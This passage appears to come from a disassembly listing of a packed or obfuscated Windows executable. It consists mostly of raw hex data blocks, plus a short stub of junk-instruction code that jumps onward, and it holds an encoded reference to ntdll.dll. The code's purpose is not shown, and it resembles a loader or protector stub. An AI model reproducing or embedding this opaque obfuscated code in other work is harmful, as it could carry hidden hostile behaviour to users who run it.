0A1E4FE5Eh, 10598DC0h dd 0BB7273E2h, 0BFD9Eh, 7CDA6800h, 64EA7C5Eh, 7AD06446h dd 6BE5765Ch, 7CD8654Bh, 0ABC06F5Eh, 0B298361Eh, 0B0923022h dd 0AB8D2D1Bh, 0C794321Ah, 8F95588h, 4FC216B7h, 0E06CBDF3h dd 0FD4DDFC3h, 44A32D6Ch, 268501E8h, 559FB504h, 0A01CD508h dd 789D168Eh, 68E6785Ah, 76D6674Bh, 10700051h, 935D7285h dd 0F0426845h, 468E0F5Eh, 2C8AC014h, 0C8BEA38Eh, 51E6CCEBh dd 9D2766F7h, 8EB3D36Eh, 0A8B9DC16h, 8AACF959h, 45B6500Ah dd 0AD125917h, 8B015Ah, 0F0D20000h, 70EAF260h, 50E16DBDh dd 2735473h, 109DB488h dd 419DCC51h, 0A109DB4h, 0BF0F418Bh, 83D278CCh, 0B3B51144h dd 1F7E109Dh, 0C4E1F7Eh, 82C495BBh, 80C01E30h, 4FBE1D69h dd 168EBA1Eh, 599BCE4Fh, 5E800E8Bh, 0B2492CFh, 0F5410000h dd 0CF5F4161h, 0E7795F7Fh, 0CE5D4363h, 0AFFE2482h, 191605A5h dd 0CFEF65F4h, 0D7F75BE9h, 0CCEA5EF1h, 0D9F953E6h, 449ECF10h dd 0D16B70Ah, 6DBDAA94h, 4FE0C2E1h, 0BE99B701h, 54h, 236DBD24h dd 9DB558B2h, 9DFC2110h, 0D7970CCh, 0A5CA3FAEh, 42C3168Eh dd 0E88AF0Fh, 0C49E080h, 0AC2h, 9F3F17A3h, 852529B9h, 993911A3h dd 8A2828B7h, 9B3B19A8h, 0D76687A8h, 0ED7B5D7Dh, 0D0634565h dd 0E5785A78h, 557A4767h, 0B709A620h, 83A6F16h, 8C1D6CBDh dd 711071C0h, 14BDEE0h, 230C4B30h, 7B6D1293h, 335D6712h dd 0ADC6F196h, 6446533Fh, 0D8984088h, 80A3411Bh, 24Dh dd 0D0E9B9D6h, 0B4962A99h, 0F6D9F6D5h, 9DB50B87h, 0AB1D410h dd 3D019C13h, 0B84791CAh, 168EE939h, 0A528CB4Ah, 0DCF74DC6h dd 0EAC9BDA4h, 1F7BEACDh, 0E816F33Eh, 610052E2h, 3DB71342h dd 1D8016F3h, 34B934D3h, 85C21CE4h, 0E01DF650h, 3F5EBF10h dd 0AFD7122Eh, 0A1082F10h, 0B771630Eh, 5DC842B3h, 0C9110E0h dd 0D724636Dh, 4416CE71h, 6DC0E2C1h, 8ADA00DFh, 0F5D200C8h dd 0E127A3D2h, 0ADF00AC9h, 0B9EB5306h, 6E765150h, 0FE73D96Ch dd 804DA9AAh, 0CF2520C7h, 96000009h, 8AB00E48h, 92B81638h dd 8CAE0C3Eh, 93B5153Bh, 7DB00E46h, 480C59B2h, 5AF8486Ah dd 4701567Ch, 5CF04167h, 0FB6A757Eh, 16B70A9Fh, 0C20D3168h dd 7F4299DDh, 3983AE4Bh, 0B687C717h, 2546F7Ah, 0FD9CFD4Ch dd 0AFDE01DEh, 109E1433h, 0C781D6FCh, 6E761776h, 854F9E1Fh dd 516EAF16h, 6B75D969h, 9A66516Eh, 97167EF7h, 5EEF5BEDh dd 44965E3Fh, 5A805EF4h, 0BBF9480Ah, 92C3E0A6h, 1075993Bh dd 183A99FCh, 52D8AC8h, 4529AB6h, 75C48E1Eh, 194C0051h dd 79F57AB5h, 2F322FBEh, 36000009h, 2A10AEA8h, 3218B698h dd 2C0EAC9Eh, 3315B59Bh, 1D10AEA6h, 0E86CF912h, 0FA58E8CAh dd 0E761F6DCh, 0FC50E1C7h, 9BCA15DEh, 16B70C3Fh, 0C2AD9108h dd 0B51670E5h, 0BEDF109Dh, 55C94436h, 87109DB5h, 73E17052h dd 0D0AA1F69h, 2E8DF9F0h, 8E9366BFh, 0C9E62716h, 0C83D4FE1h dd 0A8A8F4Eh, 49C53817h, 120A8A8Fh, 0D4F392F3h, 63F25CEEh dd 7CBC9A22h, 53822165h, 1074F23Eh, 91B91677h, 8BAF0C40h dd 8AC81038h, 423715A8h, 79F8D1BAh, 9B1D38EFh, 0CA000008h dd 0D6FCDA7Ch, 0C6ECCA84h, 0D8FAD872h, 0C7E9C987h, 0C9FCDA7Ah dd 9CB80566h, 86CC1C3Eh, 9BAD0228h, 88C4153Bh, 0CF3E212Ah dd 16B70D53h, 7059051Ch, 109DB512h, 0FA4E7453h, 0B4A52150h dd 2F6E109Dh, 2A22B3A5h, 31558C8Ch, 0EB8AB592h, 0C383196Eh dd 1B0E7D47h, 0D4168F98h, 3A2D12B1h, 24DBE2E2h, 0C2E8F5FFh dd 0D6FCDB6Dh, 1978C983h, 0C9F81CFh, 23302D3Ch, 0B000008h dd 786AA024h, 0FEC6C500h, 0C8BEA364h, 0D474C7EBh, 0B39ECF0Ch dd 0C168EAFh, 7E578223h, 4E96EB3Ch, 9CED7CA1h, 0A8A273Eh dd 0D780F995h, 0E2EA62F3h, 0AD98BA7Ah, 13D225Ah, 0BD380000h dd 4B8FDE6Ah, 0C20455FDh, 4A8CDD6Fh, 527353F5h, 0B4860075h dd 0CE4F109Dh, 0C97FD406h, 5D213C78h, 0B3CB0F7Eh, 0E124109Dh dd 79127C50h, 0F4D276C9h, 7ECF79CEh, 66EA7961h, 0B2A72F5Eh dd 8F01109Dh, 456A4DFAh, 794750D1h, 96F061FBh, 5F109D45h dd 45910D80h, 3B5A109Dh, 0EB40925Ah, 7A607D5Dh, 546068EAh dd 27567509h, 109D45B3h, 6D5FF3DCh, 5BDB77B9h, 0A0B1D491h dd 66440E9Eh, 0F5EF444h, 83D27ACBh, 0D5CEC3Fh, 0F1D579C9h dd 465AEB5Fh, 0F2C6AF4Ch, 9570B80h, 0EA005A8Bh, 44C9109Ch dd 5AA18625h, 401CAAD6h, 123826AEh, 0D27ECDC2h, 5B86A2B3h dd 12A68C2Bh, 8429638h, 0C310D839h, 8E336F92h, 0FA7FC816h dd 9C40E90h, 795F7F1Eh, 0DAD667EBh, 0A1D4F38Bh, 0A89BC29h dd 68E6785Ah, 0B330B8D9h, 0FA4E418Fh, 0E1800150h, 83E26EBDh dd 9EC19EB2h, 89BBF36Fh, 4596BC0Ah, 0BADB3A0Bh, 0AF63D832h dd 75DF6E21h, 0E6C4A5E4h, 1DE74C4h, 74C589D9h, 201CCB15h dd 411EBDC9h, 0BC73EF1Eh, 1AA70A89h, 5DEA2B3Ah, 1051B038h dd 0A1107ABAh, 0EC7C5E7Ch, 0CD624866h, 0C2FD5B7Bh, 0F14051E0h dd 7EBA0263h, 9B842363h, 733660CAh, 48955F17h, 8ED9FC15h dd 8F123D16h, 92818D9Fh, 78DC694Dh, 78C9A8E9h, 6662745Bh dd 53E26EBDh, 0F48B8D32h, 0FB4B8D57h, 0A3D57353h, 0C2E8C7BDh dd 0C8DDC6Eh, 76D425C4h, 0CD109DB5h, 0D4A4C841h, 0B6A341EAh dd 0BF093F94h, 2958h, 6DBDFE00h, 0A52150E1h, 0E7109DB4h dd 0CC5E14A5h, 95B12482h, 49109D92h, 993657FBh, 2830EAEh dd 0A7311EADh, 0FFFFB6ACh, 6CBD12FFh, 5A5EAE1Ah, 2746FC94h dd 0A3F6500Bh, 0C16BC7BDh, 0DE994767h, 3741A641h, 15000000h dd 0B004BDA3h, 0C25FFB9Ah, 96F76EDDh, 717BF64Fh, 175C4364h dd 9EB404CBh, 48F1C739h, 0B03859F7h, 9DCFF551h, 35FBE10h dd 6DBD68C2h, 0E37D45E1h, 37C4h, 0BDA36A00h, 0E5C26BC7h dd 16DE6ABDh, 9DB51B77h, 0AF8B0A10h, 0E0C268C2h, 87DCFE4Ch dd 85D5F7C1h, 4275C603h, 92F36EEFh, 70E5C2B8h, 109DB516h dd 0E56DFBDFh, 8DA3C84h, 8EDF6BBDh, 9DB4A3FFh, 386D710h dd 49C899B1h, 0A5351928h, 557998A9h, 14FA4B07h, 0BC100576h dd 0B709B952h, 0E5C41FCDh, 0F899C73Dh, 0E868F7DBh, 7883F2E0h dd 8B109E3Bh, 0FFF3E32Eh, 0E0C294FFh, 87DCFE4Ch, 85D5F7C1h dd 73C8EAC9h, 0BB0584D5h, 7B48A19Dh, 0B1D061E9h, 3F82F3D0h dd 98168EA4h, 1F2E20B2h, 3FCE9FFEh, 0A8A9DDFh, 0D7062936h dd 0A8A9E7Bh, 8DF7C144h, 0F96C4BFCh, 0A8A9D9Dh, 459D2766h dd 5AAD0F77h, 11DFh, 0AEDF0000h, 0A8A9634h, 865098FDh dd 1C4h, 0BEA36A00h, 0E6CCEBC8h, 2869F852h, 84E461A0h dd 68AD168Eh, 0E965F5D9h, 72C6ECC9h, 0B889C515h, 0E8293859h dd 84EFA1E0h, 0AE940A8Ah, 0A5A7311Bh, 0B2983612h, 3D1A2B1Dh dd 3D87C315h, 0E38D3A17h, 2127BC66h, 770BA082h, 7BEE8A2Ah dd 273657E6h, 0DA00DEE6h, 3A5C587h, 0CA8AD7B2h, 28B81A7Bh dd 9BFA1B2Ah, 2A9FE9FBh, 0AF2B5A7Dh, 780A8A1Eh, 2E22B115h dd 0E4F6FE1Fh, 0E5A63851h, 2667F652h, 0A1892647h, 0EB2A3B0Fh dd 477230E1h, 0A3C1DE89h, 0E231h, 0BAA30500h, 0FE9FB301h dd 0E66AF9E1h, 0E5C284DEh, 52E36FBDh, 0FB5AA933h, 0F2109DB4h dd 68C2C763h, 1670E5C2h, 0DF109DB5h, 66DC36BEh, 0E56194B3h dd 0AE109DB4h, 0BDFB656Fh, 0DCC3E06Ch, 0BFED8523h, 17C10B9Bh dd 0FF4DE0C2h, 46A52F6Eh, 9BDA38Ch, 9DB57AD4h, 0C842B310h dd 91109DB4h, 0CB1B3F0Ch, 3253B283h, 67C1F753h, 0FE4CE0C2h dd 3EA62E6Fh, 0A641DE6Eh, 0B6982A10h, 475E66A7h, 1Ch, 0C7BDA31Bh dd 3793C26Bh, 109DB5h, 68C2C19Dh, 45E16DBDh, 35C4E37Dh dd 6A000000h, 6BC7BDA3h, 0B53793C2h, 0F426109Dh, 290A2864h dd 29D4B50Ah, 0C20D2948h, 0E16DBD68h, 7F607D45h, 9DB4940Eh dd 0B7A5D10h, 109DB48Fh, 72543558h, 0F7616BDDh, 0FFFF22C4h dd 70C3E7FFh, 0B56FEB1Ah, 0D538109Dh, 0BDB22CB4h, 0DB431A6Ch dd 0A72AA4D9h, 92F3109Eh, 0DED3352Dh, 0D332034Dh, 93C110B2h dd 132243C2h, 91BB0E34h, 0CE697BC0h, 10E6CEB3h dd 0D4656771h, 35E5A78h, 51E06EC0h, 50725130h, 0DBFF4EFCh dd 1AA2C38Bh, 0C83D1A3Dh, 109EAF4Eh, 0D38A417Fh, 223167B1h dd 0DC10341Dh, 7011B2C1h, 5EA82253h, 2C71109Eh, 4D0865A4h dd 0D901168Fh, 9FAFFF86h, 1F2E4FCEh, 5179F6FEh, 0FF6E4D01h dd 0A8B48A3h, 0F948296Ch, 8B490A88h, 9425610Ah, 0AC72A868h dd 51105Ah, 7FA30000h, 86E55C32h, 82E6482Fh, 0A37FD9E3h dd 7AEBC8BEh, 168E989Bh, 0E918296Ch, 0A8A8969h, 2B546C0h dd 5DDCB71Dh, 0A0D53147h, 0A89E526h, 5CFAEEFh, 0ADDA9F5Dh dd 0EB475Ah, 0B7980000h, 89F0CC46h, 0A2B0000Ah, 0DDE57293h dd 2E6FFE4Ah, 0C2DB854Fh, 7D8497DDh, 8A52F384h, 6A91F548h dd 83A39A32h, 0C3075637h, 0DE01DE76h, 9F7D61F9h, 64155DBDh dd 109E37EAh, 0C36D52B3h, 0FBC249ACh, 1D21C008h, 4D71C08Ch dd 37250FCh, 109E01CFh, 4D6AE273h, 0E677D365h, 1E3F1DA7h dd 90497039h, 4FDD542Ah, 785A6203h, 0DAD667E5h, 0A5D8F78Fh dd 168F7F38h, 3B1FBCE1h, 3A18A0A8h, 4A3E3FEh, 75E655D1h dd 0A03F5E10h, 89292BBAh, 97C1AA7h, 475D38Dh, 23563756h dd 79F9B9A3h, 132825C4h, 52000002h, 4E745204h, 4E7452FCh dd 507250FAh, 4F7151FFh, 41745202h, 24307DEEh, 3E14A486h dd 2325BAA0h, 400C9D83h, 7765962h, 16B7128Bh, 0BD213D54h dd 0BC902170h, 0FB4A6CADh, 0B89A3859h, 0A6872725h, 0D31D3384h dd 0C8BEA309h, 177AC7EBh, 0DCE485C5h, 988F8EFFh, 0EAD0168Eh dd 0ABDAF95Bh, 0A8A892Fh, 9E4B95F8h, 3F9FEE7Fh, 960A8A89h dd 9F5D7FFCh, 475AAD3Eh, 0AEh, 0E06CBD1Bh, 74E06D51h, 0B18294E5h dd 9326109Dh, 0B1108AFBh, 0B4D9109Dh, 82D3F5D5h, 243D7BCAh dd 0C5104562h, 6E168E81h, 5A8F8F2Fh, 835E8F2Ch, 4C1074DDh dd 0D980DA0Bh, 0C4490474h, 952406A5h, 1C3E1FBFh, 0DB73C3CCh dd 4D6AABBAh, 74D8BE18h, 0BE068704h, 52074D9Ch, 79F8BEDEh dd 37213CEBh, 2E000001h, 3218B6A0h, 2A10AEA0h, 3416B496h dd 2B0DADA3h, 2518B69Eh, 54E10Ah, 223080A2h, 3F099E84h dd 2428B99Fh, 6392BD86h, 16B713E7h, 0C2C579B0h, 330250E0h dd 79C80AD2h, 84D5FBDBh, 3897B305h, 9DB549C5h, 92F31210h dd 6CBD9634h, 0DC6D51E0h, 52755270h, 9DB4A723h, 0A32D7010h dd 97345297h, 8E92EF66h, 0A53A2016h, 49CC19A3h, 57F5486Ah dd 4C005177h, 1EAABFFDh, 8A8F73EFh, 3414A70Ah, 0BC942327h dd 6C0D6CADh, 0D1971E4Fh, 55B81071h, 0F5327620h, 0DDF8AF79h dd 9Ah, 0F7D77FCBh, 0EDCD81D1h, 0F1D179CBh, 0F2D080CFh dd 0F3D381D0h, 0AFFE6FC0h, 952305A5h, 0A83B1DBDh, 8D2002A0h dd 0D521FBFh, 0B7157ED8h, 70D24716h, 0BF02BEA3h, 0BF555D87h dd 92C3E081h, 1685D607h, 7A5CED30h, 634565E7h, 9AEB7AD2h dd 0FCC4A693h, 3DB08FB0h, 0F8448FE1h, 3B19A8AAh, 2D8AEB2Ah dd 44905EB8h, 0DEE627F8h, 0DA6B17B4h, 0DB6E5472h, 4DDEE071h dd 0F41E3203h, 321AAB57h, 311BAE94h, 2FFC2320h, 55ED9B3h dd 51E074C1h, 0DD6D5130h, 36C6771h, 0D2000000h, 71BDE17Bh dd 0DF7254E5h, 65FADC6Dh, 0E07052E3h, 52DFE372h, 0C20F3302h dd 307FC392h, 9B2D1120h, 2ABC9EAFh, 83221524h, 3C8904ECh dd 81E78924h, 4C7h, 4EF8300h, 5C243C87h, 81E68956h, 4C6h dd 4EE8300h, 5C243487h, 68242C89h, 49F8h, 57240C89h, 5C175ABFh dd 2EB5BD38h, 0FD01CDBDh, 81243C8Bh, 4C4h, 4EC8300h, 81242489h dd 42404h, 50590000h, 868h, 0C8015800h, 0FF582889h, 83592434h dd 34FF04C4h, 0C4815D24h, 4, 0FA201FE9h, 0CDB825FFh, 3061960h dd 85C650C5h, 61311E1h, 17256847h, 0B5FFCF38h, 613116Dh dd 3AAD858Dh, 0D0FF0613h, 858DD88Bh, 6132609h, 1046850h dd 0D3FF0000h, 11E185C6h, 68530613h, 8307F8BFh, 116DB5FFh dd 858D0613h, 6133AADh, 8589D0FFh, 61943D9h, 1F95BD83h dd 0F000613h, 0B84h, 819D8B00h, 0E9061330h, 5, 0BBh, 1006800h dd 0B58D0000h, 61943DDh, 95FF5356h, 6131925h, 43DDB58Dh dd 0F0030619h, 1E9h, 3E804E00h, 9840F5Ch, 80000000h, 850F2F3Eh dd 0FFFFFFEDh, 8D0006C6h, 1943DD85h, 95FF5006h, 61943D9h dd 0EBE0FF58h, 66175D7Dh, 0F414477Ch, 363C705Fh, 0D94769A3h dd 8C3F58C2h, 5B5787A8h, 35171906h, 9F13FF5Fh, 4222C227h dd 7E1D21F4h, 944999C1h, 0E874DE67h, 8, 6B9EFE0Eh, 59B7F301h dd 0B95858B1h, 18E35D50h, 62A0C081h, 28B10000h, 68h, 820F00h dd 5B000000h, 0DAD5B966h, 570334FFh, 14E9h, 7B3A0900h dd 7C9B8627h, 0B1D94547h, 0CC43ACADh, 0C27DF0ACh, 665E5972h dd 0F681CB8Bh, 2384F5F9h, 82FABF66h, 2DA9F681h, 8B6636F3h dd 0C2EE81D3h, 6611AA56h, 56B5F3BAh, 8F5FFC53h, 8B661804h dd 17800FD1h, 0E8000000h, 0Fh, 8DC94E4Fh, 24888EE7h, 792D36D0h dd 8A8B1C2Ch, 0EB835AF5h, 8E904h, 6F000000h, 7A420349h dd 0FB8179DDh, 0FFFF9E18h, 0FF7E850Fh, 0DE9FFFFh, 6A000000h dd 89CC0E81h, 5D6B2A6Bh, 0F248A4AFh, 0FE8h, 0D1C36000h dd 0F9EFAA4h, 65B4545Ah, 33AECC65h, 284DC181h, 805A5A06h dd 0C281C9E9h, 5E1Ah, 0FE9h, 7EAA0700h, 0F20ECF4Ch, 7127BC53h dd 72C3EBCAh, 175068h, 8E0F00h, 58000000h, 14E8h, 0DFE50F00h dd 0DEE88B2Bh, 7F712244h, 535E4FBAh, 0D58CF388h, 5B3BB198h dd 0C681328Bh, 14BB0D98h, 0C2C3EE81h, 0E8601E0Ah, 7, 2B6658h dd 0F320947h, 0E95EF0BFh, 0Ah, 2DD69FE9h, 60158619h, 81618064h dd 52EB49C6h, 56CF8A0Bh, 0A860Fh, 8F0F0000h, 4, 0B915BF66h dd 0BF66028Fh, 0EA810E88h, 109D282Eh, 38BEDF81h, 0C2813AA6h dd 109D282Ah, 0A4F1E4B9h, 1E88135h, 0F000000h, 0FFFF8F85h dd 0C860FFFh, 0F000000h, 687h, 8A0F00h, 8D000000h, 1964678Dh dd 3FC6006h, 130DAD85h, 8D896106h, 6131BBDh, 1F58529h dd 0BD0B0613h, 6131999h, 18DD85C7h, 6E580613h, 8B660000h dd 5585C7C2h, 61330h, 0F000000h, 1988h, 7E800h, 28B00000h dd 69D76843h, 7E94Fh, 180A0000h, 34A819D7h, 0B58B5A5Eh dd 61313A1h, 13D1B5FFh, 6A0613h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 440887C3h, 0BB18FA4h dd 95FFA1B0h, 6131D89h, 1AA99D29h, 6A0613h, 0DA995FFh dd 0C08B0613h, 930F3AEBh, 2F6E49C0h, 0CF6F56BEh, 0D02B16EBh dd 0FCD1AB17h, 0DF9D3384h, 0B6DB48D3h, 736BC0E5h, 1ECA4233h dd 0A5746C49h, 10336CEh, 40BF685Bh, 4A2144F3h, 0CFF9CFEDh dd 78E1D9D5h, 45E9h, 27561D00h, 1D8C9344h, 81E89DE6h, 64746E2Eh dd 642E6C6Ch, 67006C6Ch, 3B2BD14h, 0FEB980h, 9 dup(0) dd 14E90000h, 68000007h, 619664Eh, 0FA1C63E9h, 672D68FFh dd 59E90619h, 68FFFA1Ch, 61967B8h, 0FA1C4FE9h, 68AA68FFh dd 45E90619h, 68FFFA1Ch, 6196986h, 0FA1C3BE9h, 6A7068FFh dd 31E90619h, 0EEFFFA1Ch, 0F2D8F660h, 0EAD0EE60h, 0F4D6F456h dd 0EBCDED63h, 0E5D8F65Eh, 0C094214Ah, 0E270C0E2h, 0FF49DEC4h dd 0E468F9DFh, 0A3D2FDC6h, 16B71A27h, 0C485B9F0h, 40h dd 0E06CBD6Ah, 0FE4EDFC3h, 25377F6h, 1B4A6D4Ah, 109DB4BFh dd 5AEB63F3h, 0DFE92C3Bh, 0B50482F1h, 5D45109Dh, 0DF69BECDh dd 4C6EAFBEh, 4B8D57FDh, 5E968AF8h, 0A50A6682h, 0E8293814h dd 70CAE889h, 351E0C2h, 7BD60D32h, 4A2F903Eh, 4C95A12Bh dd 23B59D3Ah, 4DC09D27h, 168F1160h, 8278409h, 8B1179D5h dd 0D602AA0Ah, 6265680Eh, 0B928B0D5h, 8B2BCA48h, 0D6B3060Ah dd 1B7ACB85h, 56E7EB7Ah, 842667F6h, 0DA4E1F35h, 0AB322398h dd 153DEA5Fh, 984088C4h, 5AAC9DD8h, 21C80h, 0DD6F5300h dd 8E0466Dh, 7C425E24h, 0D0B9EA74h, 0F7D4B2B7h, 8EA5E786h dd 7295F816h, 0A0026ADBh, 0D1B5ACCEh, 0E79683F2h, 0DE3F4C4Ch dd 4E38318Fh, 0FACFFC71h, 0D93C4636h, 0C785D8FAh, 0DC70C1E7h dd 0B62F1DA9h, 5A7736AFh, 501h, 3797BF0Bh, 2D8DC111h, 3191B90Bh dd 3290C00Fh, 3393C110h, 6FBE2F00h, 55E3C5E5h, 68FBDDFDh dd 4DE0C2E0h, 0CD12DFFFh, 0B71B3E98h, 0B0920716h, 0B3226CBDh dd 109DB557h, 0AFDEFD20h, 109DB533h, 69F899FCh, 57F5486Ah dd 9038318Dh, 9DB5015Dh, 0ABA73510h, 2923B69Ch, 5B8A2948h dd 168E963Eh, 61F2D8F7h, 4E3F5EEFh, 0A8A93D4h, 0F370789Dh dd 810A3492h, 268501E8h, 7B8536B7h, 25C64710h, 0D9DAC3A8h dd 0CEB8B17Bh, 0B4B17CF1h, 0E5CA71CAh, 5C7EFF86h, 16E76D9h dd 0B18ECD9Ch, 0C6BBE23Ch, 70EA1B65h, 3965C6BCh, 0BE0687D4h dd 0C01F6782h, 0B4CFFE4Dh, 6AF7DB6Bh, 85E2EAh, 1E2E7FA3h dd 444699C1h, 0B03FB511h, 7E1F7E5Fh, 3826AEEFh, 0D88DBF12h dd 0D5340558h, 2293CE5Dh, 0EA000004h, 0F6DCFA5Ch, 0E6CCEA64h dd 0F8DAF852h, 0E7C9E967h, 0E9DCFA5Ah, 0BC982546h, 0A6AC3C1Eh dd 0BB8D2208h, 0A8A4351Bh, 0EF1E410Ah, 16B71C73h, 0C279E53Ch dd 0B51670E5h, 0BEDF109Dh, 0BB912436h, 33538EAAh, 0B18C6194h dd 8005168Eh, 8BFBE622h, 0CB0EB92Ch, 4C731071h, 0FAE37539h dd 0D3A616E4h, 0B56A8B30h, 0FF36F9Eh, 59BC0471h, 587A5938h dd 41674705h, 0AF0D5CF0h, 7EEFCCBAh, 0A6205F3h, 0D684F91Ch dd 773E1B7h, 3976560h, 0E9750000h, 0DB6B4D6Dh, 0DB6D5373h dd 0DA694F6Fh, 0E3725876h, 0CD625171h, 634311A0h, 4363EF3Dh dd 607ECA5Dh, 4565E77Ah, 0A822537Ch, 7116B71Bh, 6CBD0638h dd 51DFC3E0h, 0C28B701h, 5B10EBD5h, 6EFE60FCh, 643DB00Fh dd 25168F6Eh, 52DFC3E0h, 56B6AE3Ch, 8AEB04DFh, 0A2755ABBh dd 4A247A26h, 11302EB6h, 1CAh, 0ACD5B9ADh, 83F2D1B5h, 168EA5E2h dd 0B5114463h, 7E0A8AA2h, 0F518D51Fh, 7BEACD12h, 0A8AA31Fh dd 0EC1BA5E8h, 0DF8E32AEh, 90FB4B6Fh, 6A721341h, 5473134Eh dd 3EA18821h, 3504891Bh, 0D8223116h, 0ECEDEAF2h, 3291D8E4h dd 0AE04AB9Dh, 9362660Dh, 8CAE0D6Ch, 0CCB0173Dh, 0A6593CD8h dd 0E3123F89h, 15287494h, 0C589D901h, 57741574h, 4D6AE273h dd 56F4486Ah, 23E3AB27h, 0C7117409h, 3616A789h, 0A7AAA543h dd 2E2BC27Eh, 2A5h, 5B7BDB67h, 4969E575h, 5575D567h, 4E6CE473h dd 5777DD6Ch, 13A2CB64h, 0F13F6141h, 0CC5F4161h, 0E97C5E7Ch dd 59764363h, 0B71CAA24h, 441E7316h, 0C3E06CBDh, 6DFC4CDFh dd 3F30D966h, 0B3D257F8h, 637EBA29h, 0A9E8423h, 2A5B7840h dd 168F4AEFh, 8FC11238h, 0E0899BEh, 5E597808h, 59815E3Fh dd 1B31840Bh, 22AACB4Ah, 0C1341334h, 0A8BA845h, 0D966EA79h dd 0B9262CB4h, 6A5E108h, 0A0B40129h, 9948E918h, 0E1C9107Ch dd 12310054h, 789767E3h, 8CED3004h, 0ADE06B27h, 0B03852AAh dd 9C31D233h, 92572B23h, 0B9167079h, 878FAD44h, 19411E7Bh dd 7DD988CCh, 466F837Bh, 2D70FDC7h, 0BDC9201Ch, 8FA0EF1Eh dd 880D7571h, 96B6072Bh, 8DBF1238h, 0F0C636D8h, 0ADA83FDEh dd 1C9h, 7F5FF743h, 65450959h, 7959F143h, 6A480857h, 7B5BF948h dd 3786E748h, 4D9BBD1Dh, 3083A505h, 4598BA18h, 0B59AA707h dd 0B71DC640h, 281A8F16h, 1670E5C2h, 0DF109DB5h, 0B5118D00h dd 0BBDA109Dh, 6DC012DAh, 0B572EC21h, 0DA3B109Dh, 0BBC645F5h dd 2C4DC37Dh, 0BCCA1F1Dh, 3F1BEE1Fh, 7194168Fh, 0BEA3F751h dd 67C4EBC8h, 9B8A1F9h, 6499C60Eh, 168527A5h, 5CF24466h dd 19B6D794h, 9FAEA231h, 0A6D14DC0h, 7B9A0A84h, 9D85D21Ah dd 4062400Ch, 0F26CA1EDh, 2B0A84A6h, 84A760BAh, 57E4290Ah dd 0AA065736h, 9BB104BFh, 0D7A8DDFAh, 0BC106BC2h, 0C0084296h dd 0DDC5E223h, 62EE3D4Ch, 0F3D3B2D3h, 81D07CCDh, 6B483E23h dd 0F5476B4Ch, 0D4850455h, 46B427Ah, 8BFAC243h, 0A5C224Eh dd 39037697h, 6E73DBE8h, 0DFA2BFh, 0A12D0000h, 0A33315B5h dd 93250BABh, 0A23117B7h, 9B2A10AEh, 52A19B9h, 0DBFB59E8h dd 0CBEB67F5h, 0D8F652E5h, 0CDED5FF2h, 30AADB04h, 0F916B71Fh dd 0BEA3BEA0h, 0C57AEBC8h, 0B21684D0h, 215BF68Dh, 1071C094h dd 889194ABh, 83C3F955h, 2243C20Ah, 0C3F65085h, 5EBF0A83h dd 0A5B4D996h, 0E87910A1h, 81A60564h, 2BBA0749h, 70218229h dd 1B3D1BA5h, 42B382CAh, 4C8A2F5Dh, 0EA7BD765h, 66F755E8h dd 0AC9932A0h, 30E2579Bh, 0F359EC9Dh, 0BB0E3492h, 0C0103291h dd 7ECF7FCFh, 0F7767E1Fh, 0E665EFD8h, 0D4A50AB7h, 0D779CA0Ch dd 0AB205286h, 0C8E666F7h, 0DC74C3E7h, 55F9498Dh, 17AAAC34h dd 1FB49635h, 0EC7DD766h, 7EEFCCADh, 0C8469D24h, 0C120A8EDh dd 0C84h, 5E7B2A00h, 0FD2C1F79h, 47917A45h, 0E571BD8Dh dd 6DDF7254h, 0E365FADCh, 72E07052h, 252DFE3h, 92C20F33h dd 20307FC3h, 0AF9B2D11h, 242ABC9Eh, 89502215h, 405E0h dd 0E8830000h, 24048704h, 2404895Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx push ebp push 58443B6h pop ebp inc ebp add ebp, 95217Ah push ebp pop edi pop ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx push 298Dh mov [esp], ebp mov ebp, edi mov [ecx+8], ebp pop ebp push dword ptr [esp] pop ecx add esp, 4 mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_58442C ; --------------------------------------------------------------------------- db 28h dd 0D553E142h, 0B8744705h, 6196B74h, 0E0FFC503h, 496571F8h dd 68C4D3F2h, 5BDDE22Dh, 7D865DFDh, 6A479F8Fh, 23EA76F0h dd 41894F46h, 44652C67h, 4551BEB0h, 62D68EC7h, 0D640927h dd 23A39CD2h, 3E79D1BEh, 3DF83083h, 5E14DC3Eh, 53204073h dd 50E2694h, 2EB23346h, 48AD5813h, 5D91099Bh, 28E6210Bh dd 4892512Bh, 5792AD77h, 6F9D87B9h, 1B5C0ACEh, 493721C2h dd 7AA75A65h, 7B60EBA3h, 6158FAB8h, 12E8h, 0B1BE9000h dd 98A55684h, 88AF316Ah, 5E19D58Fh, 66DB8D75h, 5FD64BBEh dd 0CBD28160h, 0F81090CDh, 95C78161h, 68000074h, 1CEEh dd 0F0B70F5Ah, 810F37FFh, 0 dd 6E958h, 0B76E0000h, 897225EAh, 0B8F6F081h, 0BE6603B2h dd 0E881E1A2h, 66BCABF0h, 0CEC7E881h, 0EE922F9h, 47000000h dd 3DF268B8h, 50FFD0A3h, 0D690B5A8h, 0F38150E8h, 1C4E59F6h dd 0C381078Fh, 202CED3Ah, 463DEF81h, 0DE9158Ch, 84000000h dd 0DE4CBFh, 0AB2746B0h, 3287D441h, 4639C781h, 7E9158Ch dd 0C5000000h, 50517968h, 0EA8188EAh, 1, 0F850Fh, 0E9FC0000h dd 2Ah, 6CAE8FFBh, 1E8DB653h, 0CE8EAh, 48190000h, 23EF63D1h dd 17C8B694h, 0C9809A13h, 55E95B3Ah, 0BDFFFFFFh, 413013B5h dd 23E977F3h, 0E7000000h, 30333Dh, 7 dup(0) dd 0A8E90000h, 68000004h, 6196EA4h, 0FA13BFE9h, 6F1568FFh dd 0B5E90619h, 68FFFA13h, 6197067h, 0FA13ABE9h, 70E674FFh dd 70DE7052h, 6EDC7052h, 77D96A50h, 70E47157h, 9FCC6352h dd 3E644212h, 644664EEh, 775979CFh, 7B4866E6h, 21A52154h dd 3B6E16B7h, 70E5C207h, 109DB516h, 0F2BD0E47h, 0AEBD3A19h dd 0E673656Fh, 6AFBDF6Eh, 9DC4C4E2h, 93997923h, 0FB9ACB38h dd 0E82CA9DCh, 90F5168Eh, 0E5D230C1h, 0BE0E0A8Ah, 0ADCC80D1h dd 